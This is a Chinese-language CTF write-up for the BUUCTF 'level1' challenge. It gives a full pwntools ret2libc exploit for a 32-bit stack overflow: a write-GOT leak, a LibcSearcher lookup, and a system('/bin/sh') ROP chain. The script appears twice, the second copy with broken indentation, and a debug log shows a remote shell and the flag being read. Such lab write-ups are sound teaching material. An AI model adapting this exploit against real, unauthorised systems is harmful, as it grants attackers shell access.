1.题目信息
BUUCTF在线评测

2.原理
篡改栈帧上的返回地址为攻击者手动传入的shellcode所在缓冲区地址,并且该区域有执行权限。
3.解题步骤
3.1 首先使用checksec工具查看它开了啥保护措施
基本全关,栈可执行。
root@pwn_test1604:/ctf/work/9# checksec ./level1
[*] '/ctf/work/9/level1'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x8048000)
    RWX:      Has RWX segments
root@pwn_test1604:/ctf/work/9# 
3.2 使用ida查看一下该程序
在危险函数中,程序向我们输出了一个栈站上的地址因此我们可以朝buf写一段shellcode,然后 将返回地址覆盖为buf的地址。在pwntools中可以使用shellcraft.sh()写shellcode,再使用asm将其转换成机器码。


ida帮我们计算出来了buf字符串距离rbp有0x88个字节,由于ebp本身还占4个字节,所以溢出0x8c个字节后将返回地址修改为buf地址,python有 个自带的方法ljust可以将我们的shellcode长度补充为固定字节,期作用是使shellcode左对齐,然后不足长度补齐指定数据。

参数buf存在明显的溢出漏洞,程序还将buf参数的地址给了我们
 由于没有开启nx,所以我们可以先通过read读入shellcode,然后利用溢出漏洞将ret覆盖为buf参数地址(此时buf里是shellcode)去执行即可获取shell
 但是在测试的时候发现,远程连接不会一开始就回显buf的地址,所以上述的方法只能本地打通
                         
 这题想要远程打通,我是使用了常规的ret2libc的方法,远程是先调用了write函数,然后是function函数
利用write函数泄露libc版本,之后计算system函数和/bin/sh字符串的位置,最后构造rop攻击获取shell
3.3 完整源码
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pickle import TRUE
from pwn import *
import sys
from LibcSearcher import *
context.terminal=["tmux","sp","-h"]
context.log_level='debug'
#context.arch='i386'
DEBUG = 1
LOCAL = True
BIN   ='./level1'
#HOST  ='pwn2.jarvisoj.com'
#PORT  =9877
HOST  ='node5.buuoj.cn'
PORT  =29232
def get_base_address(proc):
	return int(open("/proc/{}/maps".format(proc.pid), 'rb').readlines()[0].split('-')[0], 16)
def debug(bps,_s):
    script = "handle SIGALRM ignore\n"
    PIE = get_base_address(p)
    script += "set $_base = 0x{:x}\n".format(PIE)
    for bp in bps:
        script += "b *0x%x\n"%(PIE+bp)
    script += _s
    gdb.attach(p,gdbscript=script)
elf = ELF("./level1")
main_addr=0x80484b7
write_plt=elf.plt['write'] 
#write的plt表可以调用write函数
write_got=elf.got['write'] 	
#write的got表里面有write函数的真实地址
def exploit(p):
	elf = ELF("./level1")
	main_addr=0x80484b7
	write_plt=elf.plt['write'] 	#write的plt表可以调用write函数
	write_got=elf.got['write'] 	#write的got表里面有write函数的真实地址
	pl ='a' * (0x88 + 0x4 ) + p32(write_plt) + p32(main_addr) +p32(0x1)+p32(write_got)+p32(0x4)   	#  栈迁移过来后 执行write函数 write后返回main函数 write的三个参数
	p.send(pl)
	write_addr = u32(p.recv(4))	    #  因为write的第二个参数是write_got,所以它会输出write的got
	libc=LibcSearcher('write',write_addr) #根据泄漏的write地址,用LibcSearcher可以找到对应的libc版本,然后找到对应的write函数地址
	libc_base=write_addr-libc.dump('write')     #找到偏移
	system_addr=libc_base+libc.dump('system')     #根据偏移和system在libc中的地址找到system在程序中的地址
	bin_sh=libc_base+libc.dump('str_bin_sh')     #根据偏移和sh在libc中的地址找到sh在程序中的地址
	pl ='a' * (0x88 + 0x4) + p32(system_addr) + p32(main_addr)+ p32(bin_sh)
	p.sendline(pl)
	p.interactive()
	return
if __name__ == "__main__":
	elf = ELF(BIN)
	if len(sys.argv) > 1:
		LOCAL = False
		p = remote(HOST, PORT)
		exploit(p)
	else:
		LOCAL = True
		p = process(BIN)
		log.info('PID: '+ str(proc.pidof(p)[0]))
		# pause
		if DEBUG:
			debug([],"")
		exploit(p)只用修改的地方如下:
LOCAL = True
 BIN   ='./level1'
 #HOST  ='pwn2.jarvisoj.com'
 #PORT  =9877
 HOST  ='node5.buuoj.cn'
 PORT  =29232
elf = ELF("./level1")
 main_addr=0x80484b7
 write_plt=elf.plt['write'] 
 #write的plt表可以调用write函数
 write_got=elf.got['write']     
 #write的got表里面有write函数的真实地址
def exploit(p):
    elf = ELF("./level1")
     main_addr=0x80484b7
     write_plt=elf.plt['write']     #write的plt表可以调用write函数
     write_got=elf.got['write']     #write的got表里面有write函数的真实地址
     pl ='a' * (0x88 + 0x4 ) + p32(write_plt) + p32(main_addr) +p32(0x1)+p32(write_got)+p32(0x4)       #  栈迁移过来后 执行write函数 write后返回main函数 write的三个参数
     p.send(pl)
     write_addr = u32(p.recv(4))        #  因为write的第二个参数是write_got,所以它会输出write的got
     libc=LibcSearcher('write',write_addr) #根据泄漏的write地址,用LibcSearcher可以找到对应的libc版本,然后找到对应的write函数地址
     libc_base=write_addr-libc.dump('write')     #找到偏移
     system_addr=libc_base+libc.dump('system')     #根据偏移和system在libc中的地址找到system在程序中的地址
     bin_sh=libc_base+libc.dump('str_bin_sh')     #根据偏移和sh在libc中的地址找到sh在程序中的地址
     pl ='a' * (0x88 + 0x4) + p32(system_addr) + p32(main_addr)+ p32(bin_sh)
     p.sendline(pl)
     p.interactive()
     return
  
3.4 运行结果
root@pwn_test1604:/ctf/work/9# python level1-buuctf.py 1
[DEBUG] PLT 0x8048330 read
[DEBUG] PLT 0x8048340 printf
[DEBUG] PLT 0x8048350 __gmon_start__
[DEBUG] PLT 0x8048360 __libc_start_main
[DEBUG] PLT 0x8048370 write
[*] '/ctf/work/9/level1'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x8048000)
    RWX:      Has RWX segments
[DEBUG] PLT 0x8048330 read
[DEBUG] PLT 0x8048340 printf
[DEBUG] PLT 0x8048350 __gmon_start__
[DEBUG] PLT 0x8048360 __libc_start_main
[DEBUG] PLT 0x8048370 write
[+] Opening connection to node5.buuoj.cn on port 29232: Done
[DEBUG] PLT 0x8048330 read
[DEBUG] PLT 0x8048340 printf
[DEBUG] PLT 0x8048350 __gmon_start__
[DEBUG] PLT 0x8048360 __libc_start_main
[DEBUG] PLT 0x8048370 write
[DEBUG] Sent 0xa0 bytes:
    00000000  61 61 61 61  61 61 61 61  61 61 61 61  61 61 61 61  │aaaa│aaaa│aaaa│aaaa│
    *
    00000080  61 61 61 61  61 61 61 61  61 61 61 61  70 83 04 08  │aaaa│aaaa│aaaa│p···│
    00000090  b7 84 04 08  01 00 00 00  1c a0 04 08  04 00 00 00  │····│····│····│····│
    000000a0
[DEBUG] Received 0x4 bytes:
    00000000  c0 73 eb f7                                         │·s··││
    00000004
[+] ubuntu-xenial-amd64-libc6-i386 (id libc6-i386_2.23-0ubuntu10_amd64) be choosed.
[DEBUG] Sent 0x99 bytes:
    00000000  61 61 61 61  61 61 61 61  61 61 61 61  61 61 61 61  │aaaa│aaaa│aaaa│aaaa│
    *
    00000080  61 61 61 61  61 61 61 61  61 61 61 61  40 d9 e1 f7  │aaaa│aaaa│aaaa│@···│
    00000090  b7 84 04 08  2b c0 f3 f7  0a                        │····│+···│·│
    00000099
[*] Switching to interactive mode
$ ls
[DEBUG] Sent 0x3 bytes:
    'ls\n'
[DEBUG] Received 0x6d bytes:
    'bin\n'
    'boot\n'
    'dev\n'
    'etc\n'
    'flag\n'
    'flag.txt\n'
    'home\n'
    'lib\n'
    'lib32\n'
    'lib64\n'
    'media\n'
    'mnt\n'
    'opt\n'
    'proc\n'
    'pwn\n'
    'root\n'
    'run\n'
    'sbin\n'
    'srv\n'
    'sys\n'
    'tmp\n'
    'usr\n'
    'var\n'
bin
boot
dev
etc
flag
flag.txt
home
lib
lib32
lib64
media
mnt
opt
proc
pwn
root
run
sbin
srv
sys
tmp
usr
var
$ cat flag
[DEBUG] Sent 0x9 bytes:
    'cat flag\n'
[DEBUG] Received 0x2b bytes:
    'flag{232ee13a-17ab-4e9f-8a29-3481de113920}\n'
flag{232ee13a-17ab-4e9f-8a29-3481de113920}
$  



















